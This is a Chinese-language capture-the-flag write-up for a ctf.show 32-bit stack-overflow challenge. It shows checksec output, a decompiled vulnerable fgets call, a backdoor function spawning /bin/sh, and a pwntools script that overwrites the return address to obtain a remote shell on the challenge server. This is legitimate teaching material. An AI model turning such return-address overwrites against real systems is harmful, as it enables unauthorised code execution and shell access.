查看checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用IDA查看其main函数内容如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("stack happy!");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
pwnme()
内容如下:
int pwnme()
{
char s; // [esp+Fh] [ebp-9h]
fgets(&s, 50, stdin);
return 0;
}
可以看到其ebp为0x9,返回地址为0x4,而且该程序存在后门函数:
int stack()
{
return system("/bin/sh");
}
编写exp利用即可:
from pwn import *
io = remote('pwn.challenge.ctf.show','28155')
payload = 'a'*0x9+'a'*0x4+p64(0x804850f)
io.sendline(payload)
io.interactive()